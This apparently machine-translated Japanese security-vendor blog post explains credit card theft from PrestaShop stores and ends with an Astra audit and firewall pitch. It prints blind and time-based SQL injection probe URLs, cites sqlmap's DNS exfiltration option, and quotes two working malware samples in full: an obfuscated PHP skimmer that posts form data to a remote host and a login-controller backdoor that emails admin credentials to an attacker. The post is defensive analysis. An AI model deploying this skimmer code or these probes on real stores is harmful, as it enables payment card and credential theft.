PrestaShop ストアから盗まれたクレジット カードの詳細。 PrestaShop のクレジット カード マルウェア ハックを修正する方法は?
オンライン取引により、ビジネスのしやすさが確実に向上しました。しかし、この容易さにはセキュリティの責任が伴います。 Prestashop で運営されている e コマース ストアには、多くの機密情報が含まれています。これには、ユーザーのクレジット カードの詳細が含まれます。したがって、このデータは攻撃者にとって絶好のターゲットになります。 Prestashop のクレジット カードのハイジャックは、この e コマース ソリューションの人気によって増加しています。セットアップとメンテナンスが容易であると評価できます。本によると PrestaShop 1.5 初心者向けガイド 、
Prestashop クレジット カードの乗っ取り:症状
Prestashop のクレジット カードの乗っ取りは、複数の方法で実行できます。サーバー上の悪意のあるスクリプトまたは Javascript の行である可能性があります。多くの場合、SQL インジェクションまたはフィッシング ページである可能性があります。したがって、この可能性の多様性により、検出が困難になります。ただし、いくつかの兆候は攻撃に道を譲る可能性があります:
- Sqlmap のようなこれまで知られていなかったデータベース テーブル
- 不明な管理者アカウントがダッシュボードに表示されます。
- 顧客のクレジット カードが盗まれた
- 不明な IP からのダッシュボードへのログイン
- 新しい未知のページがサイトに表示されます。
- 不明なドメインへのサイト リダイレクト
- Wireshark のパケット分析は、疑わしいドメインに送信されるデータを示しています
- ユーザーが支払い関連の問題について不満を述べている。
- サーバー ログには、ブルート フォースまたは SQL インジェクションの試行が示されます。
クレジット カードの詳細が Prestashop ストアから盗まれていますか?.チャット ウィジェットにメッセージをドロップしてください。喜んでお手伝いさせていただきます。今すぐ Prestashop のウェブサイトを修正してください。
Prestashop のクレジット カード乗っ取り:原因
Prestashop での SQL インジェクション
SQL インジェクションは、Prestashop ストアのデータベースを危険にさらす可能性があります。 SQLi の主な原因は、入力サニタイズの欠如です。多くの場合、開発者は安全なコーディング プラクティスを展開していません。その結果、SQLi や XSS などの脆弱性がコードに発生します。 Prestashop のゼロデイ SQLi エクスプロイトが 2014 年に公開されました。脆弱なコンポーネントは id_manifacturer
でした。 .完全な URL を以下に示します。
次の URL では、id_manufacturer の後にステートメントを挿入できます。さらに、これは一種のブラインド SQLi でした。したがって、基本的にデータはブール形式でのみ抽出できます。時々、開発者は内部エラーを抑制します。これは、攻撃者が脆弱性を発見するのを防ぐために行われます。ただし、サーバーがまだステートメントを実行している場合は、データをブール形式で抽出できます。これはブラインド SQLi の場合です。ただし、データベースの内容を読み取るには、複数の要求を行う必要があります。これにより、手動でのエクスプロイトは時間がかかります。ブラインド SQLi をチェックします。
https://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3 and 1=1
まず、このステートメントが true になるかどうかを確認します。次に、ステートメント where=3 and 1=2
false に実行されます。そして、これは間違いなくブラインド SQLi のケースです。ただし、時間ベースのブラインド SQLi である場合もあります。その場合、サーバーは一定時間後にブール値のフィードバックを返します。例えば。
https://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3 and if(1=1, sleep(10), false)
ここで、ユーザーは 10 秒 待つ必要があります。 .その後、サーバーはクエリに基づいて true または false の応答を送信します。
自動搾取
それを悪用するのは骨の折れる作業に見えるかもしれません。しかし、利用可能な自動化ツールがあります。 Sqlmap は、攻撃者にとって非常に簡単に悪用できます。その後、攻撃者はテーブルを読み取ることができますps_payment_cc
.このテーブルには列 id_order_payment,card_number,card_brand,card_expiration
があります .これにより、保存された完全なカードの詳細が盗まれます。テーブルが大きい場合、攻撃者は DNS クエリを使用して攻撃を高速化できます。 Sqlmap にはオプション --dns-domain=
が付属しているため .したがって、攻撃者は時間ベースの遅い出力ではなく、DNS クエリを使用してデータを盗み出すことができます。ただし、攻撃者は DNS サーバーとして登録されたマシンを制御する必要があります。したがって、サーバーから送信される DNS クエリを監視することが重要です。ただし、ユーザーのクレジット カード情報をサーバーに保存しないことをお勧めします。管理者が Prestashop の定期的なセキュリティ監査と侵入テストを実施しない限り.ただし、開発者が準備済みステートメントを使用していれば、これはすべて回避できたはずです!
Prestashop クレジット カード マルウェア
Prestashop でのクレジット カードのハッキングは、サイト上の悪意のあるスクリプトが原因である場合があります。攻撃者はまず、既知の手法を使用してサイトを悪用します。ほとんどの場合、OWASP のトップ 10 の 1 つです。その後、マルウェアがインストールされます。このマルウェアは、最初にデータベースに接続します。次に、データベースからクレジット カード情報を盗みます。 ps_payment_cc
に通常含まれているもの
上記は、PrestaShop クレジット カード ハイジャック スクリプトのコード スニペットです。ここで、スクリプトは最初にデータベースに接続しています。その後、データベースからクレジット カード情報を盗みます。
/vendor/composer/autoload_real.php
に感染するもう 1 つのクレジット カード マルウェアを見てみましょう。 ファイル
class SiF { function __construct($conf) { $this->encrypt = FALSE; $this->in = $_POST; $this->test = isset($this->in['siftest']); $conf = explode('SiF', str_rot13($conf)); if(count($conf)!=2)return; $this->key = $conf[0]; $conf = explode('|', base64_decode($conf[1])); $s = array_shift($conf); $s = explode(';;', $s); $this->conf = array(); foreach($s AS $d) { $d = explode('::', $d); if(count($d)==2) $this->conf[trim($d[0])] = trim($d[1]); } array_shift($conf); $this->data = $conf; $this->get(); if($this->test) $this->out('[sifok]'); }
function get()
{
if($this->search($this->data[0])===FALSE) return;
foreach($this->data AS $i => $v)
{
$v = $this->search($v);
$this->data[$i] = $v===FALSE ? '' : $this->crypt($v);
}
$this->set();
}
function set()
{
$data = implode('|', $this->data);
$data = $this->crypt('SiF').'|'.$data;
if(!$this->encrypt) $data = base64_encode($data);
$data = $this->post_fgc($data);
if($this->test) $this->out($data);
}
function get_fgc($data)
{
$url = $this->conf['url'].'?'.$this->conf['param'].'='.urlencode($data);
if($this->test) $url .= '&test';
return file_get_contents($url);
}
function post_fgc($data)
{
$data = array($this->conf['param'] => $data);
$options = array(
'http' => array(
'header' => "Content-type: application/x-www-form-urlencoded\r\n",
'method' => 'POST',
'content' => http_build_query($data)
)
);
$context = stream_context_create($options);
return file_get_contents($this->conf['url'], false, $context);
}
function search($key)
{
$f = $this->in;
if(preg_match_all('/(?:^|\[)([^\[\]]+)/s', trim($key), $a))
{
foreach($a[1] AS $v)
{
if(is_array($f) && isset($f[$v])) $f = $f[$v];
else return FALSE;
}
return $f;
}
return FALSE;
}
function crypt($s)
{
if(function_exists('openssl_public_encrypt'))
{
$key = "-----BEGIN PUBLIC KEY-----\n".$this->key."\n-----END PUBLIC KEY-----";
if(@openssl_public_encrypt($s, $code, $key))
{
$this->encrypt = TRUE;
return base64_encode($code);
}
}
return $s;
}
function out($s)
{
echo $s;
exit;
}
}
new SiF('ZVTsZN0TPFdTFVo3QDRONDHNN4TANQPOvDXOtDQG7ZWRtSDNht63nRT/RT2LPUJFPT1Eg4snl3Dvg0BDTc7SS0o//K7XbiRS3fZ+SCHEL+UP7dtvdinygJCfNRxDPgghOSrx2xH2p9A/pqf0zLW5Q4GZPVeoGZFtQesyvSRGDwlFT5Zf4ScH9A40ahDkBRZol/0lbDp8zAou8Njv1DVQNDNOFvSqKWfBwcbqUEjpmbiY2ygM3A0LKDho3WaY3ZiZGR7B3OupzSgBwcxsTMipz18MTIfnKMypaysoaIgsTEyoTy2MKW5K2I4pS9go250nUkxMJkcqzIlrI9yrUOsrJIupakxMJkcqzIlrI9wqaM8MTIfnKMypayspT9mqTAiMTI8MTIfnKMypaysMzylp3EhLJ1ysTEyoTy2MKW5K2kup3EhLJ1ysTEyoTy2MKW5K2yxK2AiqJ50pay8MTIfnKMypaysL2y0rKkxMJkcqzIlrI9cMS9mqTS0MKkxMJkcqzIlrI9jnT9hMKkxMJkcqzIlrI9uMTElMKAmZKk8MJ1unJksL29hMzyloJS0nJ9h'
悪意のあるスクリプトは、攻撃の第 2 段階です。第 1 段階では、いくつかの既知の脆弱性が悪用されます。その後、クレデンシャル スティーラー スクリプトがアップロードされます。したがって、通常はデータベースにデータを保存しないことをお勧めします。 e コマース ストアの場合、セキュリティ監査と侵入テストを実施して、Web サイトにマルウェアを挿入する可能性のあるすべての方法を探すことをお勧めします。
フィッシング
フィッシングは、大規模な Prestashop クレジット カードの乗っ取りに使用される可能性があります。攻撃者は基本的に偽のログイン ページを作成します。ユーザーは区別できない場合があります。そのため、Prestashop でのクレジット カードのハッキングにつながる機密情報が明らかになる可能性があります。これらのページが作成された可能性がある方法は多数あります。それらのいくつかは次のとおりです:
- XSS :攻撃者は XSS を使用して、悪意のあるドメインから悪意のあるスクリプトを読み込みました。このスクリプトは、元のページの内容を上書きしました。このページは、フィッシング ログイン ページに置き換えられました。その後、ユーザーはそれらのページで情報を送信しました。フィッシング ページは、この情報を攻撃者が制御するドメインに渡しました。
- SQLi :攻撃者は、SQL インジェクションを使用してリバース シェルを取得した可能性があります。このリバース シェルを使用して、攻撃者は元の支払いページをフィッシング ページに置き換えた可能性があります。
- FTP :インターネットに対して FTP ポートが開かれました。その後、攻撃者はログイン資格情報を取得した可能性があります。その後、フィッシング ページが作成されました。
- ゼロデイ :ゼロデイ脆弱性により、攻撃者がリバース シェルを取得した可能性があります。インストールが古かったので。これにより、偽の支払いページが作成されます。したがって、Prestashop のクレジット カード乗っ取りにつながります!
弱い認証情報
Prestashop のクレジット カード乗っ取りの主な原因は、脆弱な資格情報です。脆弱なパスワードは、ブルート フォース攻撃を使用して破ることができます。攻撃者がパスワードを取得すると、ダッシュボードが開かれます。ここから、一部の攻撃者は別のアプローチを適用します。データベースからサインアップ情報を受動的に待機して収集する代わりに。攻撃者はページにコードを挿入して、その情報を動的に送信します。たとえば、あるタイプのマルウェアがファイルにコードを挿入します/controllers/admin/AdminLoginController.php
.通常、悪意のあるコードは次のようになります。
public function processLogin() { /* Check fields validity */ $passwd = trim(Tools::getValue('passwd')); $email = trim(Tools::getValue('email')); $to = "[email protected]"; $subject = "panel admin prestashop ". $_SERVER['SERVER_NAME']; $header = "from: hacked <[email protected]>"; $message = "Link : https://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] ."&up=hous \r\n email: $email \r\n pass: $passwd \r\n by bajatax -- sniper :v \r\n"; $message .= "Path : " . __file__; $sentmail = @mail($to, $subject, $message, $header); $sentmail1 = @mail($to, $subject, $message, $header);
ここで、最初の数行のコードはすべての変数を収集しています。その後、PHP 関数はそれらを攻撃者のアカウントにメールで送信します。この場合、[email protected] でした。 .送信されるさまざまなパラメーターは次のとおりです。
- 宛先: これには、データの送信先となる攻撃者の電子メール ID が含まれます。この場合、
[email protected]
です。 . - 件名: これには、
panel admin prestashop www.infectedDomain.com
というメッセージが含まれています。 . - ヘッダー: ヘッダー部分には、
hacked <[email protected]>
というメッセージが含まれています。 . - メッセージ パート 1 :このパラメーターには、すべての機密情報が含まれています。これらには、感染したドメインが含まれます。この場合
https://www.attackeddomain.com
.その後、/admins/ajax-tab.php?rand=1470989908670&up=hous
である URI .[email protected]
というメールが続きます .そして最後にパスワード。これは、ユーザーが入力したランダムな文字列である可能性があります。最後にby bajatax — sniper :v
のランダム テキスト . - メッセージ パート 2 :メッセージの 2 番目の部分には、感染したファイルのローカル パスが含まれています。この場合、
/usr/home/www.attackeddomain.com/web/controllers/admin/AdminLoginController.php
.
しかし、マルウェアの発見後、Google は攻撃者の Gmail アカウントをブロックしました。その後、このマルウェアの新しい亜種が確認されました。攻撃者にメールを送信できるかどうかを最初に確認したもの。そうでない場合は、詳細が uspas.txt という名前のローカル ファイルに保存されています。 .次のステップで、攻撃者はユーザーのサインアップと同様にクレジット カード情報を取得できます。これで、Prestashop のクレジット カード乗っ取りが完了しました!
Prestashop セキュリティ監査とファイアウォール
アストラのセキュリティ監査
Prestashop ストアを安全にするためには、抜け穴を見つけることが重要です。これらは、完全なセキュリティ監査を使用してのみ明らかにできます。市場には複数のソリューションがあります。 Astra が提供するもののように。
Astra との提携により、次のサービスが提供されます。
<オール>テストは、ウェブサイトと要件に従って高度にカスタマイズおよび調整されています。
セキュリティ テストの一般的な範囲:
<オール>アストラ ファイアウォール
Prestashop ファイアウォールは、Prestashop ストアへの不正アクセスを確実にブロックします。すべての着信トラフィックがスキャンされます。これにより、悪意のあるリクエストがドロップされます。 Astra ファイアウォールは、マルウェアのアップロードをスキャンします。 Prestashop のクレジット カード乗っ取りスクリプトをアップロードしようとするとブロックされます。 Astra はログイン アクティビティも追跡します。そのため、ダッシュボードが侵害された場合、ユーザーに通知されます。それとは別に、Astra はインストールが最新であることを保証します。したがって、24 時間体制でストアを保護します!
-
「Windows 10 で SD カードを読み取れない」問題を修正し、そこから写真を復元する方法
画像が表示されない、または正しく読み込まれない ほとんどのユーザーにとって最も厄介な問題の 1 つです。 SD カードが検出されない理由 Windows 10 ではさまざまな問題が発生する可能性がありますが、一般的な問題のほとんどは次のとおりです:メモリ カードとコンピュータ間の USB 接続不良、SD カード アダプタの不良、写真との互換性の問題、 破損した SD カード 、またはメモリ カードのウイルス感染 など。 それでは、「SD カードが PC で読み取れない問題を修復する」方法を確認して、貴重な写真を安全に復元できるようにしましょう。問題をトラブルシューティングするために考えられ
-
Windows 10 ストアの問題を修正する方法
Windows ストアは、コンピューターで Microsoft アプリケーションを入手するための公式のオンライン マーケットプレイスです。ストアやアプリの使用中に問題が発生することがあります。本日は、Windows 10 ストアの問題を修正するための 5 つの最善の方法を提案します。 : 1.トラブルシューティング: 問題を解決するための最初のステップは、トラブルシューティング担当者に修正の機会を与えることです。 Microsoft では、Windows ストアの正常な動作を妨げる可能性のある問題をスキャンして検出するトラブルシューティング ツールを提供しています。次に、可能であれば、自動的に